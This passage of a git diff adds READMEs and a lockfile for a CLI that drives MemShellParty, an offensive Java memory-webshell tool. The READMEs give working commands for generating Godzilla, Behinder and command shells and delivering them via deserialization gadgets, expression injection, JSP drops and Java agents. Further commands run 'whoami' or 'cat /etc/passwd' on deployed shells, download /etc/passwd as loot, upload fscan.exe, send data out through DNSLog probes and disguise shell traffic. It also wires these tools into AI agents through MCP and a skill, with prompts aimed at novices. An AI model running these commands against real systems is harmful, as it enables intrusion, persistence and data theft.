(see the MemShellParty README for the Docker one-liner): + +```bash +memparty --api http://127.0.0.1:8080 gen +# or +export MEMPARTY_API_URL=http://127.0.0.1:8080 +``` + +## Usage + +### Interactive + +Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with +auto-saved named targets, a whole gen → verify → exec session fits in one go: + +```text +memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token +saved as '192.0.2.10/behinder' +memparty> exec 192.0.2.10/behinder --cmd whoami +memparty> list +memparty> exit +``` + +Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help). +Inside the REPL: `help` lists commands, ` --help` shows examples, `exit`/`quit` leaves. +The `gen` / `probe` wizards work inside the REPL too: + +```bash +memparty gen # wizard for a memory shell (outside the REPL) +memparty probe # wizard for a probe shell +``` + +The wizard launches automatically when required flags are missing and you're in a terminal. +Force it anytime with `-i`, or disable it with `--no-interactive`. + +### Scripted generation + +```bash +# Godzilla listener for Tomcat, single Base64 payload to stdout +memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \ + --godzilla-pass pass --godzilla-key key --jdk java8 + +# Write a decoded .class file (base64 decoding is automatic for .class/.jar) +memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \ + --godzilla-pass pass --godzilla-key key -o shell.class + +# Command shell with an explicit encryptor +memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \ + --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec + +# Full JSON response (metadata + payload) for further processing +memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json +``` + +`--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`). + +Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once; +pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload. + +### Discovering options + +```bash +memparty config servers # servers and their shell types +memparty config tools Tomcat # tools + types for one server +memparty config packers # packer parent/child tree +memparty config command # Command encryptors & implementation classes +memparty config servers --json # machine-readable +``` + +### Probe shells + +```bash +memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd +memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5 +``` + +Probe method × content matrix (only these combos are supported by the backend): + +| Method `-m` | Supported content `-c` | +|-------------|-------------------------| +| `DNSLog` | `Server`, `JDK` | +| `Sleep` | `Server` | +| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | + +### Testing a deployed shell + +`memparty connect` checks whether a shell that is already injected/uploaded actually answers — +it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5 +tunnel handshake) and exits 0 on success, 1 on failure. + +```bash +# Godzilla (defaults: --pass pass --key key) +memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key + +# Behinder (default: --pass rebeyond) +memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond + +# suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1) +memparty connect -u http://target/suo5.jsp -t suo5 +``` + +Shells generated by MemShellParty are gated by an auth header — the values are in the +`gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along +(the Suo5v2 shell checks it too): + +```bash +memparty connect -u http://target/x -t godzilla --pass pass --key key \ + --header-name User-Agent --header-value my-secret-token +``` + +Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS, +`--json` for machine-readable output, `--timeout ` (global option). + +### Executing commands on a deployed shell + +`memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the +remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method +(argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload +class (which picks the shell itself based on the remote `os.name`). + +```bash +# Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request); +# pass --os windows|linux to skip the detection +memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami" + +# Behinder — the payload detects the OS itself, no extra request +memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd" +``` + +The gate-header flags are the same as for `connect`; `--json` returns +`{ ok, tool, url, command, output, durationMs }` for automation. + +### File upload / download + +`memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder +shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload` +payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart). +Large files are chunked automatically. Integrity is verified after transfer — the remote size +for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file. + +```bash +# download: defaults to ./; -o sets the destination +# (an existing directory keeps the remote basename) +memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \ + --header-value my-secret-token /etc/passwd -o loot/passwd + +# an existing local file is never overwritten unless --force is given +memparty download web1 /var/log/app.log --force + +# upload: overwrites the remote file (truncate + write), up to 64 MiB +memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe" +``` + +Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk +retry all exit 1 with a clear message; an aborted upload warns that the remote file may be +partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`. + +Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the +platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's +platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an +old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP: +`remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size +instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for +Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download. + +### Saved targets (projects) + +Save a shell once, then reference it by name — no more flag soup. Shells live inside +**projects**: a project groups several shells of one engagement and carries an optional +`--remark` and `--category`. The store is `~/.memparty/targets.json`. + +```bash +# save (project is created on the fly; --remark/--category are project-level, +# --shell-remark describes this one shell) +memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \ + -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \ + --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限" + +# list everything (filter with --category ) +memparty list + +# use: /, or a bare project name when it holds exactly one shell +memparty connect web1/bh9060 +memparty exec web1 --cmd "whoami" + +# edit project meta or a shell's remark / clean up +memparty note web1 --remark "new remark" --category prod +memparty note web1/bh9060 --remark "new shell note" +memparty remove web1/bh9060 # one shell +memparty remove web1 # the whole project +``` + +Explicit flags still override stored values (`memparty exec web1 --cmd id --pass otherpass`). + +### Operation log + +Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as +one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the +command plus truncated output. Credentials, payload bytes, and file contents are never logged. + +```bash +memparty log # latest 50 operations, newest first +memparty log --category exec # only command executions +memparty log --target web1 # everything against one project (or a host substring) +memparty log --category connect --json +``` + +## Demos + +End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to +match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with +the `AgentJar*` packers). When in doubt, run `memparty config tools ` and +`memparty config packers` first. + +### 1. Godzilla webshell on Tomcat 9 (javax) + +```bash +# Listener-based Godzilla shell, single base64 payload to stdout +memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \ + --godzilla-pass pass --godzilla-key key --jdk java8 + +# ...or write the decoded injector .class straight to disk +memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \ + --godzilla-pass pass --godzilla-key key -o shell.class +``` + +### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta) + +```bash +memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \ + --godzilla-pass pass --godzilla-key key --jdk java17 +``` + +### 3. Pure command-execution shell (RCE) + +```bash +memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \ + --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8 +``` + +### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4) + +```bash +memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \ + --godzilla-pass pass --godzilla-key key --jdk java8 +# other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4 +``` + +### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …) + +```bash +# Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter) +memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \ + --command-param-name cmd --jdk java8 +# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ... +# (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once) +``` + +### 6. Drop a JSP file + +```bash +memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \ + --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp +``` + +### 7. Java-agent memory shell (survives redeploys, hooks deep) + +```bash +memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \ + --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar +``` + +### 8. Fingerprint the target first (blind) + +```bash +# DNSLog: confirm code execution + exfil the server/JDK name via DNS +memparty probe -m DNSLog -c Server -p DefaultBase64 --host .dnslog.cn +# Sleep: time-based blind — delays Ns only if the server matches your guess +memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5 +``` + +The server name a probe reports is exactly the `-s` value to pass to `memparty gen`. + +### Parse a class name + +```bash +memparty parse-classname --file shell.class +memparty parse-classname +``` + +### Version + +```bash +memparty version # CLI version + backend server version +``` + +## MCP server + +Run the CLI as an MCP server over stdio: + +```bash +memparty mcp --api http://127.0.0.1:8080 +``` + +Example Claude Code / Claude Desktop config: + +```json +{ + "mcpServers": { + "memshell-party": { + "command": "npx", + "args": ["-y", "memshell-party-cli", "mcp"], + "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" } + } + } +} +``` + +Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`, +`generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`, +`exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`, +`target_remove`, `log_list`. + +## AI skill + +The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool / +type / packer decision tree, probe matrix, packer-by-scenario guidance, mimic site profiles, and +common gotchas such as Jakarta vs javax, JDK targeting, aggregate vs leaf packers). + +Install with the built-in command (re-run after a CLI upgrade to refresh; restart the agent so it +picks the skill up): + +```bash +memparty skill install # ~/.agents/skills/memshell-party (default) +memparty skill install --claude # ~/.claude/skills/memshell-party (Claude Code) +memparty skill install --project # ./skills/memshell-party +memparty skill install --user --claude # both user + claude scopes +``` + +Then ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or +*"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides +the agent to enumerate options first and pick the right packer for the vector. + +## Site-mimicking (mimic) + +Build a custom shell whose traffic blends into a real business site. Flow: + +```bash +memparty skill install # teach the agent the workflow +memparty profile init acme --site http://192.0.2.1:8080 # skeleton profile to hand-author +memparty custom build --profile acme --server Tomcat # -> injectable payload +memparty demo # local end-to-end walkthrough +``` + +`profile` also has `list` / `show` / `check`. Details and camouflage options (body templates, JSON +request bodies, SSE cover streams, etc.) live in the skill. + +## Programmatic use + +The package also ships a typed API client: + +```ts +import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli"; + +const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" }); +const res = await client.generateMemShell( + buildMemShellRequest({ + server: "Tomcat", + shellTool: "Godzilla", + shellType: "Listener", + packer: "DefaultBase64", + godzillaPass: "pass", + godzillaKey: "key", + jdk: "java8", + }), +); +console.log(res.memShellResult.shellClassName, res.packResult); +``` + +## Development + +```bash +npm install +npm run build # tsup -> dist/ +npm test # vitest +npm run typecheck # tsc --noEmit +``` + +## License + +MIT diff --git a/tools/cli/README.md b/tools/cli/README.md new file mode 100644 index 00000000..ff772374 --- /dev/null +++ b/tools/cli/README.md @@ -0,0 +1,146 @@ +# tools/cli — MemShellParty Node CLI + +Standalone **Node.js** client in this monorepo (**not** a Gradle module). + +- Talks to the existing HTTP API (`boot` / [party.mem.mk](https://party.mem.mk)): generate memshell & probe shells. +- Same codebase as [7-e1even/memshell-party-cli](https://github.com/7-e1even/memshell-party-cli). +- Related to [#143](https://github.com/ReaJason/MemShellParty/issues/143). + +## Build & test (in this monorepo) + +```bash +cd tools/cli +npm ci +npm test +npm run build +node dist/cli.js --api http://127.0.0.1:8080 gen +``` + +Requires Node.js >= 18. Does **not** participate in `./gradlew` or the Docker image (`Dockerfile` / `.dockerignore` already drop `tools/`). + +--- + +# memshell-party-cli + +[English](README.en.md) | 中文 + +[MemShellParty](https://party.mem.mk) 的 AI 工具:让 AI 帮你生成 Java 内存马、连马、执行命令、传文件。 + +> ⚠️ 仅限授权安全测试与研究。后果自负。 + +--- + +## 第 1 步:安装本工具 + +1. 电脑装好 [Node.js](https://nodejs.org/)(选 LTS,18 或更新) +2. 打开终端,复制粘贴: + +```bash +npm install -g memshell-party-cli +``` + +3. 检查是否成功: + +```bash +memparty version +``` + +能看到版本号就 OK。 + +--- + +## 第 2 步:把使用手册教给 AI(Skill) + +Skill 是给 AI 看的完整说明书。装好后,AI 会按手册一步步操作,不用你懂技术。 + +**用 Claude Code 的,执行:** + +```bash +memparty skill install --claude +``` + +**用别的 AI 代理的,执行:** + +```bash +memparty skill install +``` + +**两个都想装:** + +```bash +memparty skill install --user --claude +``` + +装完后**重启一下你的 AI 工具**(关掉再打开),它才会读到新 skill。 + +以后升级了本工具,再跑一遍上面的安装命令,就能刷新说明书。 + +--- + +## 第 3 步:给 AI 接上 MCP(可选,但推荐) + +让 AI 能直接调用本工具。在 AI 的 MCP 配置里加上: + +```json +{ + "mcpServers": { + "memshell-party": { + "command": "npx", + "args": ["-y", "memshell-party-cli", "mcp"] + } + } +} +``` + +保存后重启 AI。 + +--- + +## 第 4 步:直接对 AI 说话 + +**先确认 skill 在不在(推荐每次新开对话先说这句):** + +```text +请先读取 memshell-party 这个 skill,然后严格按 skill 里的步骤操作,不要自己瞎猜参数。 +``` + +**生成一个马:** + +```text +请按 memshell-party skill,帮我生成一个常用的 Tomcat 哥斯拉内存马。 +把文件、密码、密钥都给我,并用简单话告诉我下一步怎么做。 +``` + +**连上马并执行命令:** + +```text +请按 memshell-party skill 操作。 +网址:【http://这里换成你的地址】 +类型:哥斯拉,密码:【pass】,密钥:【key】。 +先测能不能连上,连上后执行 whoami,用简单话告诉我结果。 +``` + +**传文件:** + +```text +请按 memshell-party skill。 +在已经连上的马上: +下载服务器上的【/etc/passwd】到本地; +上传本地【工具.exe】到服务器【/tmp/工具.exe】。 +``` + +**我完全不懂,你带我:** + +```text +我是小白。请先读取 memshell-party skill,然后一步一步带我: +1. 生成一个常用的 Tomcat 哥斯拉内存马 +2. 用大白话告诉我生成结果里哪些要保存 +3. 我部署好后把网址发给你,你帮我连上并执行命令 +每一步先说明要做什么,等我确认再继续。只在我授权的环境操作。 +``` + +--- + +## 许可证 + +MIT diff --git a/tools/cli/package-lock.json b/tools/cli/package-lock.json new file mode 100644 index 00000000..9e7af0d5 --- /dev/null +++ b/tools/cli/package-lock.json @@ -0,0 +1,4060 @@ +{ + "name": "memshell-party-cli", + "version": "0.6.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "memshell-party-cli", + "version": "0.6.0", + "license": "MIT", + "dependencies": { + "@inquirer/prompts": "^7.2.1", + "@modelcontextprotocol/sdk": "^1.12.1", + "commander": "^12.1.0", + "iconv-lite": "^0.7.3", + "zod": "^3.24.1" + }, + "bin": { + "memparty": "dist/cli.js" + }, + "devDependencies": { + "@types/node": "^22.10.2", + "tsup": "^8.3.5", + "typescript": "^5.7.2", + "vitest": "^2.1.8" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.7.tgz", + "integrity": "sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.7.tgz", + "integrity": "sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.7.tgz", + "integrity": "sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.7.tgz", + "integrity": "sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.7.tgz", + "integrity": "sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.7.tgz", + "integrity": "sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.7.tgz", + "integrity": "sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.7.tgz", + "integrity": "sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.7.tgz", + "integrity": "sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.7.tgz", + "integrity": "sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.7.tgz", + "integrity": "sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.7.tgz", + "integrity": "sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.7.tgz", + "integrity": "sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.7.tgz", + "integrity": "sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.7.tgz", + "integrity": "sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.7.tgz", + "integrity": "sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.7.tgz", + "integrity": "sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.7.tgz", + "integrity": "sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.7.tgz", + "integrity": "sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.7.tgz", + "integrity": "sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.7.tgz", + "integrity": "sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.7.tgz", + "integrity": "sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.7.tgz", + "integrity": "sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.7.tgz", + "integrity": "sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.7.tgz", + "integrity": "sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.7.tgz", + "integrity": "sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@hono/node-server": { + "version": "1.19.14", + "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.14.tgz", + "integrity": "sha512-GwtvgtXxnWsucXvbQXkRgqksiH2Qed37H9xHZocE5sA3N8O8O8/8FA3uclQXxXVzc9XBZuEOMK7+r02FmSpHtw==", + "license": "MIT", + "engines": { + "node": ">=18.14.1" + }, + "peerDependencies": { + "hono": "^4" + } + }, + "node_modules/@inquirer/ansi": { + "version": "1.0.2", + "resolved": 